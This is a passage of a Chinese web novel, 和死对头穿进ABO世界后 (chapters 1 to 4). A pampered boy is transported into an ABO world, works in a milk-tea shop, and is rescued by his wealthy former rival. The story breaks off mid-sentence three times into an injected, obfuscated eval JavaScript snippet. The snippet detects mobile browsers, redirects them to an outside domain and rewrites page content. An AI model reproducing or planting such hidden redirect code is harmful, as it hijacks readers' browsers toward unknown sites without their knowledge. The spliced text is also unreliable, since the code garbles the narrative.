《和死对头穿进ABO世界后》 1. 第1章 烈日当空,奶茶店门口排了长长的队,一眼看不到头,狭小的空间里三个服务员挤在一起,鼻腔里都是各种奶茶甜腻的味道,加上天热闷着,让人忍不住反胃。 顾客又在催:“快点儿啊,我都等好久了,怎么半天弄不好。” 几个员工忙得脚不沾地,一边要安抚顾客情绪,手上还不敢停。 其中一名男生身材纤细,他个子不算高,看着也就一米七五左右,但比例逆天,普通的员工装穿在他身上多了一丝贵气,腰身很细,被绑带扎着,一只手便能握住,笔直的双腿被劣质西裤包裹着,纤细修长。 袖口卷到手肘处,露出半截白皙的小臂,虽然戴着口罩,但那双眼睛潋滟可怜,水波流转,许是天气太热,他耳朵有些红,额头上还布满一层汗珠,添了一丝楚楚可怜,奈何他眉头紧锁,眸底露出浓浓的烦躁,生生破坏了那份破碎感。 他身上除了腻人的奶茶味没有任何信息素的味道,他是个很漂亮的Beta. 陈砚知皱着眉头使劲摇奶茶,手都快抡出火星子了,但门口的顾客还在催。 他砰的一下把奶茶放到吧台上,转头就去摇下一杯。 顾客瞬间火冒三丈,指着陈砚知的背影骂道:“你什么态度,小心我投诉你,动作慢就算了,脾气还大。” 另一个小姑娘连忙赔笑:“不好意思不好意思,我同事他今天不太舒服加上人太多了,这单我给您半价。” 顾客这才被安抚好,骂骂咧咧地拿上奶茶走了。 中午是最忙的时候,每天忙完陈砚知都觉得右手胳膊废了,吃饭连筷子都拿不稳,抖得宛若帕金森。 陈砚知气得把筷子一摔,没心情吃了。 如果不是突然来到这个世界,现在他应该躺在大别墅里,吃的都是进口蔬菜鲜肉,他愿意的话,多的是人喂他吃饭。 要说人能有多倒霉,在此之前陈砚知是无法想象的,但现在可以了。 一个月前高考成绩出来,确认稳上最高学府后他不管不顾出门旅游,原本美好的人生和光明的未来在等待他,谁料旅游大巴在路上遇到塌方,车子从半山腰坠落,再睁眼他就来到这个陌生的世界了。 在这儿他不是受尽宠爱的陈家小少爷,也没有大别墅可以住,爸爸妈妈更不会随便往他卡里打几百万。 小说里的狗血剧情让他碰上了,他穿到这个和他同名同姓但无父无母的孤儿身上,从人人追捧的陈家小少爷变成了人人可以使唤吼骂的服务员。 来这儿的一个月时间里,陈砚知一边打零工养活自己,一边弄清楚了这个世界的性别分类。 这个世界性别分类很多,其中主要是Alpha、Omega、Beta. Beta相当于普通人,没有信息素,没有发情期,也不会被标记。 但Alpha和Omega是最契合的伴侣,他们有信息素,还可以为彼此缓解易感期和发情期带来的热潮。 Omega是天生弱势群体,政府颁布了大量法律保护他们的权益。 而Alpha天生各方面条件优越,手握大权的大部分都是Alpha,因此Alpha权益保护也比较完善。 Beta不用遭受发情期或易感期,是先天牛马圣体,很好找工作。 但原主没钱上学没有文凭进不了公司,陈砚知只能找到摇奶茶的工作。 这份工作对小少爷来说简直和酷刑没什么两样,他在这个世界上孤苦无依,只能靠自己的双手养活自己。 其实这一个月来他还尝试着找过大巴车上的其他人,准确来说是找傅亭樾。 傅亭樾是他的死对头,两人从小就不对付,准确来说是陈砚知单方面看不上傅亭樾,觉得他特装,两家父母关系倒是很好,高考成绩一出来就让他们一起出去旅游。 陈砚知现在还记忆犹新,大巴失控前傅亭樾把他抱在怀里,不停跟他说没关系。 甚至车子坠落时傅亭樾还用身体紧紧挡住陈砚知,当时陈砚知吓坏了,没听到傅亭樾说了什么。 但既然他来到了这个世界,说不定傅亭樾也来了,只是他们穿到了不同人的身上,说不定样貌和姓名都变了,毕竟不是谁都像他那么幸运,穿到和自己同名同姓还长得一模一样的人身上,可惜家世不太一样。 陈砚知正惆怅,耳朵突然被揪住,店长暴怒的声音在耳畔响起:“陈砚知,你这个月多少次了,你能干干不能干就给我滚!” 被扯耳朵的一瞬间,陈砚知本能地给店长来了个过肩摔,看着店长和其他店员呆愣的表情,他皱着眉头揉了揉耳朵,冷冷说:“罚款从我工资里扣就行,别动手动脚的。” 从小到大还没人敢扯他的耳朵。 店长狼狈地从地上爬起来,揉着摔痛的屁股指着陈砚知骂道:“好啊你,殴打店长,你这个月的工资没了!” 陈砚知停下脚步,转头看着店长,头顶的灯光落在他脸上,将他漂亮的脸衬得阴森:“你确定这算殴打?” 如果算的话,他可就要打回本儿了,正好他看这个拿着鸡毛当令箭的店长不顺眼很久了。 店长被他的眼神吓到,唯唯诺诺地往后退了一步,“但你今天服务态度不好,得扣两百。” 陈砚知没管,拿上围裙直接走了。 另外两名同事连忙追上陈砚知,苦口婆心地劝道:“你别跟他斗,万一他给你穿小鞋怎么办。” “对啊,他就是看我们年纪小才敢这样,换个人他就怂的不行了。” 两人和陈砚知一样都是Beta,其中那个女孩子还是来打暑假工的,根本不敢惹店长,这一个月来吃了不计其数的亏。 “一味退让只会让别人变本加厉。”陈砚知淡淡说完直接走了。 从小到大就没人教过他忍让,哪怕是在异世界无依无靠他也学不会。 陈砚知永远不会委屈自己。 另外两人对视一眼无奈摇头,虽然陈砚知看着年纪和他们差不多,但浑身带刺,店长以前更过分,经常借用各种理由克扣工资,自从陈砚知来了之后店长收敛多了。 他们是受益者,也正是因为这样才不想陈砚知得罪店长,万一店长把他开除了怎么办。 陈砚知不懂两人的担忧,刚来的时候他确实有点手忙脚乱,也没有任何生活常识,原主只剩下几千块钱,陈砚知小学的零花钱都比这多,他没什么钱财意识,大鱼大肉吃了几天才开始找工作,主要是房东催着让下个月准时交房租,他被烦的没办法。 今天正好是他来这儿上班的第三十天,原主剩下的钱只剩二十多块,今晚下班的晚饭只能是煎饼果子了。 他从不亏待自己,哪怕住着只有十平米不到的地下室,仍旧用工资买了双三百多的平价奢侈鞋和几百块的衣服裤子。 一通置办下来,存款去了大半,这两天已经快揭不开锅了,每天只吃一顿饭,原本就消瘦的脸更瘦了。 下午客人稍微少一些,但陈砚知还是忙得脚不沾地。 彼时已经到饭点了,陈砚知中午没吃饭,这会儿饿的两眼发黑,但客人还在不停催促,他不得不加快手上动作。 他们的店面在市中心,人流量很大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372456|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分时候得忙到晚上十一点才能下班。 估计今天也差不多。 他熟练地把摇好的果茶放到吧台上:“棒打鲜橙加冰三分糖,请拿好。” 说完他又转身去看流水单开始下一单。 门外突然传来一阵骚动声,陈砚知没心思管,自顾自摇着奶茶。 同事不禁发出惊呼:“我靠,这排面。” 陈砚知两耳不闻窗外事一心只想摇奶茶,摇完一杯又一杯。 突然,他像是心有灵犀一般抬头往门口看了一眼,看到一排豪车停在路边,清一色黑西装的保镖从车上下来,恭恭敬敬地打开车门。 装逼,我当年也这么装。 陈砚知不满吐槽,刚想低头继续忙,突然瞥见一张熟悉的脸,他瞳孔猛地一缩,呼吸都忘了。 手上的奶茶还没封口,因为他的动作晃出来一些撒到他的手背上,黏糊糊的。 陈砚知没管,目光越过吵嚷的人群看着被保镖簇拥的年轻男人。 对方也在看他,那双眼睛陈砚知一辈子也不会忘记,是傅亭樾,他鼻头突然一阵酸涩,视线也跟着变得模糊。 其他人已经从震惊中回过神来,只有陈砚知还在发呆,店长好不容易找到机会,冲上前对陈砚知吼道:“陈砚知,你又在偷懒,不想干就给我滚蛋!” “哗啦——”陈砚知毫不犹豫地把手里加了冰块的奶茶从店长头顶上浇下去,啪的一下把空了的奶茶杯摔了,杯子在地上弹了两下才落定。 他把口罩帽子一摘,顺手把围裙也给摘了扔到店长脸上。 “老子不干了,去你妈的狗东西!” 说着,他越过震惊的同事和客户,陈砚知推开店长挤出人群快步下了台阶,站在广场中央看着对面的人。 由最开始的快步走,到最后他直接跑了起来。 原先傅亭樾听手下人汇报人民广场边上一家奶茶店有个员工叫陈砚知时他还没抱什么希望,但不来看一眼又不死心便想来碰碰运气。 他不确定陈砚知是否和以前长得一样,但看到他泼奶茶骂人那一瞬间,傅亭樾就确定他是陈砚知了。 只有他会这么无法无天。 陈砚知想给傅亭樾一拳的,但拳头还没送到,他人先软绵绵地往傅亭樾身上一摔。 艹,饿太久,低血糖犯了。 傅亭樾连忙伸手扶住陈砚知,满脸关心道:“你怎么了?” 陈砚知顺着滑下去坐在地上,有气无力地靠着傅亭樾的腿说:“低血糖……” “身上有巧克力吗?”傅亭樾回头看着那群五大三粗的保镖,顿时觉得自己有点蠢。 一个身材壮硕体格高大的保镖不好意思地从口袋里拿出粉色包装的巧克力递过去:“少爷,我这儿有。” 傅亭樾管不了那么多,拆开包装纸喂陈砚知吃了一颗,又让人去买水。 陈砚知吃了两颗巧克力又喝了半瓶水,靠着傅亭樾的腿休息了一会儿才缓过来。 他看着面前那一排豪车,又摸摸傅亭樾质感极好的西裤,独自来到异世界的恐慌以及这段时间受的委屈顷刻爆发,他抱着傅亭樾的腿一边哭一边骂: “傅亭樾你这个没良心的,你坐豪车还有保镖随行,却让我在这儿吃苦……” 傅亭樾叹了口气,伸手摸摸陈砚知的头,眸底划过心疼:“抱歉,我来晚了,知知受苦了。” 如果是平时被人这么喊陈砚知肯定要炸毛的,更何况傅亭樾还摸了他的头。 但他现在管不了那么多了,傅亭樾也来了,他就不是一个人了。 2. 第2章 陈砚知在傅亭樾的安抚下情绪崩了好一会儿才缓和下来,他抱着傅亭樾的大腿不肯松开,生怕黄粱一梦,醒了傅亭樾就不见了。 陈砚知仰头端着一双水汪汪的大眼睛问:“你真的是傅亭樾吗?是我认识的那个傅亭樾?” 看着他眸底的不安以及略显苍白的脸色,傅亭樾弯腰将手从陈砚知的腋下穿过,轻而易举把人提起来,温柔仔细地帮陈砚知擦了脸上的眼泪才郑重地对他说:“陈砚知,我是傅亭樾,你认识的那个傅亭樾。” 陈砚知忍不住抱怨:“那你怎么不来找我?” 傅亭樾再不找到他,他就要饿死了。 傅亭樾叹了口气说:“找了,但世界太大了。” 从来到这个世界的第一天他就开始找陈砚知了,幸好他们在同一座城市,不然找起来更麻烦,如果不是傅家有权有势,傅亭樾觉得他这辈子都可能不会再遇到陈砚知。 傅亭樾看着陈砚知消瘦的脸庞,心底升起一抹心疼:“知知,跟我走好不好,我不会让你吃苦。” 陈砚知拍开他的手,皱着眉头嘟囔:“别这么喊我,肉麻死了。” 看着傅亭樾身后那排豪车,以及他西装革履的样子,陈砚知好奇地问:“你家很有钱吗?” 傅亭樾回答:“挺多的。” “凭什么啊!”陈砚知不自觉拔高音量,见那几个保镖用余光瞟他,他连忙压低声音凑到傅亭樾耳边说,“我们两个一起过来的,凭什么你穿到有钱人身上,我却穿到孤儿身上?” 傅亭樾闻言,眉头不经意皱了一下,难怪陈砚知会在这儿上班,原来是一个人孤苦伶仃。 他心疼地把陈砚知抱进怀里拍了拍,语气自责道:“抱歉,我应该早点找到你的。” “干嘛啊,大男人搂搂抱抱成何体统。”陈砚知说着,推开傅亭樾嫌弃地拍了拍身上。 傅亭樾笑着说:“这个世界男人也会生孩子。” “哦,跟我又没关系。”陈砚知不在意地说着,一双大眼睛转了转,灵动极了,“你家有权有势对吗?” 傅亭樾知道陈砚知目前是个Beta,因为他身上没有任何信息素的味道。 幸好,陈砚知不用受信息素折磨。 看着他那副又想干坏事的模样,傅亭樾笑着回答:“算是。” 陈砚知闻言,一把拽着傅亭樾的手腕,气势汹汹地往奶茶店走,“那你帮我出口恶气,那个杀千刀的店长扣了我五百块钱了,他压榨我劳动力。” 傅亭樾一度以为自己太高兴出现了幻听,他猛然怔住:“多少?” 陈砚知义愤填膺地伸出五根修长的手指使劲挥动:“五百,整整五百,我一个月工资才三千块,他还给我扣了五百。” 之前早退加上迟到扣了三百,加上今天的两百,整整五百块没了。 傅亭樾怔忪地看着陈砚知的后脑勺,无法想象他这段时间吃了多少苦。 对于以前的陈砚知来说,五百块扔地上他看都不会看一眼,他从小被家里宠着长大,衣食住行都是最高配置,傅亭樾也差不多,所以他看到陈砚知因为五百块钱生气时第一反应是心疼。 他应该早点找到他的,陈砚知在这儿真的吃了很多苦,手心都有茧子了,以前他的手又白又嫩,摸着软乎乎的。 傅亭樾感觉被抓着的手腕好像被陈砚知的茧子磨破了,痛意顺着钻进心脏,让他呼吸都变得困难。 陈砚知一心只想找店长算账,根本就没注意到傅亭樾心疼的眼神。 因为那群高大且凶神恶煞的保镖,周边顾客下意识让开一条道,陈砚知一路畅通无阻拽着身材挺拔的傅亭樾挤进狭小的奶茶店里。 看着店长惊愕的神情,陈砚知小手一抱,抬着下巴警告道:“老登,把工资给我结清,我不干了!” 他现在可是有靠山的人,看这老登还敢不敢扣他钱。 店长毫无底气地问陈砚知身后高大的Alpha,“请问您是……” 他在帝都也摸爬滚打几十年了,一眼就能看出什么人能惹,什么人惹不起,眼前这个就是惹不起的。 Alpha拧着眉头,语气冷淡道:“傅亭樾。” 陈砚知化身复读机:“对,他叫傅亭樾。” 傅亭樾又说:“傅家大少爷。” 陈砚知点头,满脸骄傲地扬着下巴:“对,他可是傅家大少爷,跺跺脚都能让帝都抖三抖的人,你得罪得起吗你。” 陈砚知把“狐假虎威”这个词演绎得淋漓尽致,即便他压根不知道傅家大少爷这个身份的分量,但既然傅亭樾说了,那肯定就是管用的。 傅亭樾看着陈砚知那副傲娇的小模样,没忍住笑了笑。 怎么在哪儿都这么可爱。 陈砚知看着店长呆愣的模样,不耐烦道:“我告诉你,你要是不把工资全部给我结清,今天我就让他们把你这店给拆了!” 放完狠话,陈砚知小声问傅亭樾:“拆得起吗?” 傅亭樾回答:“可以。” 陈砚知不自觉挺直胸膛,脸上更得意了。 店长自然知道帝都傅家的地位,一听眼前的人是傅家大少爷,连忙点头哈腰让打暑假工的小姑娘算了算陈砚知的工资。 非但没扣钱,还给他多发了五百,说是他辛苦工作的奖励。 陈砚知收了钱,还不忘警告店长:“你要是再敢无缘无故扣员工的钱,我就还让他砸你的店。” 正常来说迟到和早退一次扣几十块就差不多,但店长总是扣一两百,多出的部分被他中饱私囊了。 被指着的傅亭樾捂着嘴忍着笑意“嗯”了一声,以示威胁。 店长点头哈腰:“是是是,傅少教训的是,以后我一定不会再恶意扣工资。” 陈砚知暴躁道:“跟你说话的人是我!” 店长连忙改口:“抱歉抱歉,我太紧张了,陈少教训的是,以后有机会常回来玩儿。” “闻到这股味道我都想吐,谁还回来。” 陈砚知说着就要拽着傅亭樾走,突然想起什么,他拿出碎了屏的手机翻到两位前同事的联系方式,把三千块的工资一人给他们转了一千五,自己只剩五百。 陈砚知对打暑假工的小姑娘说:“加上这一千五你的学费应该能凑齐了。” 小姑娘满脸感动地摇头:“不用……我、我能凑齐的,这是你辛苦挣来的。” “放心,这家伙有钱。”陈砚知笑着拍拍傅亭樾的胸膛,“以后他养我,钱你拿着,不够再跟我说。” 说完他又对另外那个小伙说:“你妈妈的医药费该交了,你的工资还有几天才发,拿这个去交吧。” 小伙眼泪瞬间飙了出来:“谢谢……” 陈砚知平时看着特别不好接近,但其实心思很细腻,他们没对他说过这些,只是偶尔跟家人在电话里抱怨被他听到,他就放在心上了。 一个月的工资只剩五百,陈砚知却一点也不难过,拉着傅亭樾去休息室换上自己的衣服高高兴兴走了,临走前还特意跟店长强调让他别欺负员工,店长满口应下他才离开。 坐上傅亭樾的豪车后,陈砚知突然一下不适应,但很快他就把车当自己的,毫不见外的把腿搭在傅亭樾的腿上。 他懒懒地对傅亭樾说:“我还得去地下室收拾一下东西。” 傅亭樾惊讶地看着陈砚知:“你住在地下室?” 娇生惯养的小少爷短短一个月内到底吃了多少苦。 “对啊,我没钱,租不起好房子。”陈砚知把腿收回去,嫌弃地跟傅亭樾说,“你不知道哪儿有多潮湿,还有老鼠,我不敢抓,每天晚上嘎吱嘎吱啃衣柜,刚来的时候我以为是鬼呢。” 陈砚知故意压低声线想吓唬傅亭樾,但他没从傅亭樾眼中看到害怕,反而看到了心疼。 他不自在地摆摆手,语气轻松道:“现在我已经不怕了,我适应能力可强了,我现在都敢踩死蟑螂了,你知道地下室的蟑螂有多大吗?” 他自顾自地伸出拇指和食指比划了一下:“那——么——大,吓人吧?” 傅亭樾肯定这辈子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372457|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没见过蟑螂老鼠,他比傅亭樾厉害。 “吓人。”傅亭樾抓住他的手,拧着眉头说,“一个人住在那种地方,很害怕吧?” 陈砚知抽回自己的手,无所谓地说:“刚开始害怕,后来就好了,现在感觉夏天住着还挺凉快的。” 不想看到傅亭樾露出那种表情,他虽然过得苦,但这不是傅亭樾的错。 这个世界太大了,他自己都没想到能这么快就和傅亭樾相遇。 如果不是傅亭樾运气好穿到富二代身上,说不定他们这辈子都没机会遇见。 现在这样就已经是最大的幸运,只是一个月而已,虽然确实吃了很多苦,但没什么的,就当是体验人生了。 他只过了一个月这种入不敷出饥不择食的日子,但有些人却过了一辈子。 傅亭樾没想到陈砚知会安慰他,以前的陈砚知听到他那么说,肯定会挖苦他两句,还逞强说自己一点也不怕,然后嘲笑傅亭樾是胆小鬼。 傅亭樾承诺道:“以后不用再住那种地方了,我给你买大别墅,请很多很多人伺候你。” 陈砚知眼睛亮亮地问:“你这么有钱吗?” 傅亭樾看着陈砚知那副灵动的模样,沉重的心情稍稍缓和:“嗯,养你肯定足够的。” 陈砚知双手枕着头靠在椅背上,笑着对傅亭樾说:“别说大话哦,我只是这一个月过惯了苦日子习惯节省,你要是真那么有钱,我可会败家了。” 傅亭樾说:“败了我再挣,不会让你吃苦。” 陈砚知没看傅亭樾,转头看着车窗外飞快逝去的风景,突然说:“回头给我报个成人高考,我要去上学,原身没读过书没文凭,找工作太难了。” 他还是更喜欢靠自己,虽然被傅亭樾养着也不错啦,但傅亭樾总不能为了他这个好朋友不结婚吧,万一以后他的结婚对象不好相处,他也不好再花傅亭樾的钱。 车子一路驶入繁华地段,和陈砚知住的地方完全天壤之别,虽然帝都没有破败的地方,但那边和这儿一比就跟贫民窟似的。 陈砚知在手机上把恶毒房东臭骂一顿,告诉他钥匙所在地后还给他转了两百块让他请保洁打扫房间。 一通折腾下来,他的工资仅剩三百块。 陈砚知看着余额里的三百二十块钱,侧身撞了一下傅亭樾的肩膀:“你微信给我加一下。” 傅亭樾连忙打开二维码让他扫,加上好友后陈砚知给傅亭樾转了一百五十块钱。 傅亭樾一头雾水:“什么意思?” 陈砚知笑着说:“我人生第一桶金哎,跟你分享一下喜悦,这可是我一杯一杯奶茶摇出来的。” 以前他以为自己人生第一桶金会是几百上千万,没想到竟然是三百块。 不过体验感还不错,至少在今天和傅亭樾重逢了。 傅亭樾没客气,直接把钱给收了,而后递给陈砚知一张银行卡:“这是我的第一桶金,我也想和你分享。” 陈砚知两眼放光地接过银行卡:“哇塞,这是小小的付出大大的回报,余额多少?” 傅亭樾没忍住揉了揉陈砚知的头,语气淡淡道:“三百万,花完我再往里给你转。” “人和人的差距。”陈砚知自我否定道,“不……这是身份差距导致的。” 傅亭樾点头附和:“嗯,如果我们身份对换,我肯定没办法像你那么厉害。” 陈砚知又忍不住骄傲:“那我还是挺厉害的,对吧?” 如果爸爸妈妈知道他这一个月过的是什么日子,肯定会骄傲又心疼,但他们回不去了。 陈砚知低着头,情绪一下变得低迷,他想问傅亭樾他们还能不能回去,但车上还有司机和保镖,不能随便说那种话,会被当成精神病送进医院,他之前就差点被送进去了。 傅亭樾察觉到他的情绪,连忙伸手握住陈砚知的手,无声安慰。 陈砚知第一次乖乖让傅亭樾牵着,他甚至还反握住傅亭樾的手,从彼此的手心汲取温度。 以后他和傅亭樾要相依为命了。 3. 第3章 傅亭樾住在高档别墅小区里,如果是以前的陈砚知,肯定要嗤之以鼻一番,嘲笑傅亭樾住在这么寒酸的地方。 但现在他两眼放光地趴在车窗上,每经过一栋精美漂亮的别墅就“哇”一声。 看了一会儿陈砚知就没兴趣了,转头问傅亭樾:“你是跟家人一起住吗?” 傅亭樾突然带他回来,他的家人肯定会调查他吧,到时候要怎么解释呢。 毕竟他现在的身份只是个没有任何地位的奶茶店员工,跟傅亭樾这样的富二代根本就不可能认识。 傅亭樾看到陈砚知眼中的不安,笑着安抚:“我一个人住,他们不住这边。” 陈砚知默默松了口气:“那就好,不然你父母问起来没办法解释。” 他还不知道傅亭樾这边的父母对他怎么样呢,希望都是很好的人。 车子驶进别墅停车场内,陈砚知下车和傅亭樾并肩往里走,虽然他身上的衣服看着很普通,但他自身气质却硬生生将那身相对廉价的衣服穿出了名牌的气质,和傅亭樾住在一起一点儿也不违和。 毕竟来这儿之前他也是个实打实的富家少爷,气场和气质都是从小培养出来的,不会因为一身衣服而改变。 傅亭樾家除了刚刚的司机和保镖只有三个佣人,两男一女,年纪都在四十岁左右,看着倒是挺和蔼的,但傅亭樾对他们很冷淡,陈砚知没搭话,跟着傅亭樾上楼。 傅亭樾家很大,虽然没有他原本的家大,但对现在的陈砚知来说这儿已经是豪宅了。 傅亭樾带着陈砚知去了二楼主卧,找了身自己的衣服递给陈砚知,“你先洗个澡,我让人给你送衣服过来。” 陈砚知接过衣服拿起来比划了一下,忍不住嫉妒:“为什么你在哪边都比我高。” 而且这边的傅亭樾实在太高了,估摸得有一米九了,陈砚知现在还没一米八,原身从小营养不良,能长到现在这样已经算是奇迹了,他站在傅亭樾身边就跟个小孩儿似的。 傅亭樾强忍着摸陈砚知头的冲动,笑着说:“我好好给你养养,说不定还能再长高一点。” 陈砚知随意把衣服抓在手里,抬头对傅亭樾说:“肯定能,原身饥一顿饱一顿营养不良才不长,以后你天天大鱼大肉伺候我,我肯定能长高。” 不说能追上傅亭樾,但一米八肯定能长到,他原本就有一米八。 傅亭樾点头答应,陈砚知这才拿着衣服去洗澡。 但傅亭樾的衣服实在太太太大了,裤子根本就穿不了,内裤也是,他只好套了件上衣就真空出来了,脚上的一次性拖鞋也大得不像样。 他别扭地踩着拖鞋往外走,手上还拿着毛巾擦头发:“傅亭樾,你这裤子我根本就穿不了……” 听到声音的傅亭樾转头一看,瞳孔猛地一缩。 陈砚知这具身体很瘦,但他皮肤白得发光,宽大的领口将他漂亮完美的锁骨完全展露,傅亭樾的衣服穿在他身上实在太大了,能遮到大腿的位置,因此那双又白又直的腿将露不露。 虽然吃了很多苦,但因为刚洗完澡,陈砚知白皙的皮肤爬上一层淡粉,衬得他像个熟透了的水蜜桃,鲜嫩多汁。 配上那一脸烦躁的表情,增添了一种让人想征服他的欲望,偏生他的眼睛很大,哪怕是在不高兴也显得无辜可怜,诱人得要命。 傅亭樾倏地回神,眼神慌乱得四处乱瞟,说话也变得结结巴巴:“太、太大了?” 陈砚知没察觉到傅亭樾不对劲,自顾自吐槽:“对啊,内裤根本穿不了,裤子也是,太长了,穿着一点儿也不舒服。” 傅亭樾呼吸一乱:“你没穿内裤?” 陈砚知穿着他的衣服,并且里面什么都没穿,关键他还对自己一点防备心都没有,不管是那一条都足以让傅亭樾兴奋到失控。 他攥紧拳头,使劲咬了一下舌尖强迫自己清醒过来,暴虐的信息素逐渐平和。 幸好陈砚知是Beta,否则肯定会吓到他的。 陈砚知疑惑地皱了下眉头:“怎么回事,我刚刚有点难受。” 虽然Beta闻不到信息素,但照傅亭樾刚刚那个架势,他的信息素会对陈砚知造成一定的压制作用,所以他才会觉得不舒服。 但这些陈砚知并不知道,他拍拍心口,只当自己是太累了。 他无所谓地摆摆手,走到一旁的椅子上坐下,双腿岔开,“我刚不是说了嘛,穿不了,你的内裤太大了,穿着不舒服。” 身上的衣服随着他坐下的动作往上卷了卷,屁股都快露出来了。 傅亭樾眉心狠狠一跳,他随手拿过一旁的外套递给陈砚知,一本正经地关心:“盖着点儿,别着凉了,你的衣服一会儿就送过来。” 陈砚知没接外套,翘着二郎腿说:“我不冷,天气那么热,这儿又只有我俩,不穿也没关系啊。” 小时候他俩还一起洗过澡呢,什么没看过,更何况两人大男人有什么好害羞的。 傅亭樾并未强迫陈砚知把腿盖上,苦口婆心地跟他说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372458|183993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在别人面前不能这样,这个世界男人和男人在一起并不奇怪,哪怕你是Beta也会有男生喜欢你,而且顶级Alpha的信息素也会对Beta有压制作用。” 陈砚知听完后,一脸茫然地看着傅亭樾:“但那是别人啊,你又不喜欢男生,这个世界也有挺多异性恋的,也不全是同性恋吧。” 傅亭樾避重就轻:“这儿的性别不是这样分的……” 陈砚知抬手打断他:“我知道,但这个跟我穿不了你的内裤没什么关系,而且我只是在你面前这样,我又不是变态,整天真空往外跑。” “我只是担心你不知道,想提醒你一下。”傅亭樾将外套挂回架子上,温声对陈砚知说,“我去洗个澡,你先坐一会儿。” 陈砚知无所谓地摆摆手:“你去吧。” 傅亭樾还没洗完澡陈砚知的衣服就送来了,他打开购物袋找了套短袖短裤穿上,刚换好傅亭樾就出来了。 陈砚知转头看着傅亭樾,伸手摸摸身上的衣服面料,笑着对傅亭樾说:“还是这个料子穿着舒服,你不知道原身的衣服质量有多差,我都过敏了。” 他从小被养的娇气,百分百聚酯纤维的衣服穿着当然会过敏。 也不知道原身会不会过敏。 傅亭樾一听,立马紧张起来:“现在好了吗?” 他刚刚光顾着看陈砚知的腿了,忘了看他身上有没有小红点。 陈砚知笑着,嘴角出现两个圆圆的梨涡:“早就好啦,我斥巨资买了几件价格稍微贵一点的,又擦了点药,两三天就好了。” 傅亭樾松了口气,随手抓了抓头发问陈砚知:“肚子饿不饿?我带你下去吃饭。” 陈砚知抬脚往地上跺了一下,啧啧两声:“你终于说这话了,我今天中午都没吃,饿死我了。” “跟我还见外什么。”傅亭樾说完,领着陈砚知往外走。 陈砚知摸摸鼻头,小声嘟囔:“这不是太久没见,我突然有点不好意思嘛。” 他也不知道为什么会有这种想法,反正就是不太好意思直说,可能是怕傅亭樾笑话他饿肚子吧。 傅亭樾突然停下脚步,转身看着陈砚知,语气严肃认真:“知知,在这个世界我们两个才是一家人,别跟我见外,任何事情都可以跟我说。” 陈砚知很少见傅亭樾用这种表情跟他说话,他愣愣地点头:“我知道,以后不会再这样了。” 是啊,他们两个才是一家人,如果他连傅亭樾都防着,还能相信谁呢。 4. 第4章 陈砚知一个多月没吃过什么好东西,吃完山珍海味肚子就开始不舒服。 傅亭樾让家庭医生过来帮他检查了一下身体,结论是陈砚知虚不受补,得循序渐进,一下吃得太好他肠胃受不了。 陈砚知刚吐完回来,一双大眼睛里充满疲惫,眉头微微皱着,漂亮的脸蛋布上病态的白,给人一种柔弱可欺的感觉,他纤细的腰身被傅亭樾搂着,两人靠得极近,甚至能闻到彼此洗发水的味道。 但陈砚知难受得紧,四肢发软没力气,顾不上那么多了。 傅亭樾扶着他坐到沙发上,喂他吃了药,又让陈砚知喝了杯温水,眉头始终紧拧着,眸底藏着一抹自责。 陈砚知看着傅亭樾那副表情,忍不住开口安慰:“没事儿,我休息一会儿就好了。” 他也没想到这副身体能有这么差,早知道就少吃点儿了。 傅亭樾眉头紧锁:“还想吐吗?” 陈砚知虚弱地摇摇头,倒是不想吐,就是没力气。 傅亭樾拿过一旁的毯子给陈砚知盖上,满脸关心道:“要不要回卧室休息?” 一旁的佣人们见状,忍不住面面相觑。 自从一个月前捡回一条命后,大少爷就变得比以前更加冷淡,对谁都一副冷冰冰的模样,还是第一次这么温柔地跟别人说话。 这个Beta是大少爷喜欢的人吗?但之前从来没听说过这号人物,还是个没有任何身份背景的孤儿。 傅亭樾没管其他人,陈砚知点头后他就扶着陈砚知起身往楼上走。 如果不是怕陈砚知生气,他就直接上手抱了。 陈砚知以前很少生病,他喜欢在外面跑,身体自然就很好。 但原身常年营养不良,加上生活在阴暗潮湿的地下室,这具身体比不上陈砚知的。 傅亭樾让陈砚知住在他旁边的卧室,还让陈砚知有事儿就去找他或者给他发消息。 陈砚知躺在柔软的大床上,价值不菲的真丝被盖在身上很舒服,他露出半张脸看着傅亭樾,“你怎么变得罗里吧嗦的。” “我担心你。”傅亭樾站在床边,忧心忡忡地对陈砚知说,“回头我带你去做个体检,万一这具身体有什么疾病得早点治疗。” 说起这个,陈砚知突然来了兴趣,原本疲惫的眼睛瞪得圆圆的,“你知道你这具身体的主人是怎么死的吗?” 傅亭樾索性用脚勾了个凳子坐在床边跟陈砚知闲聊:“吃安眠药自杀的,我有他的全部记忆。” 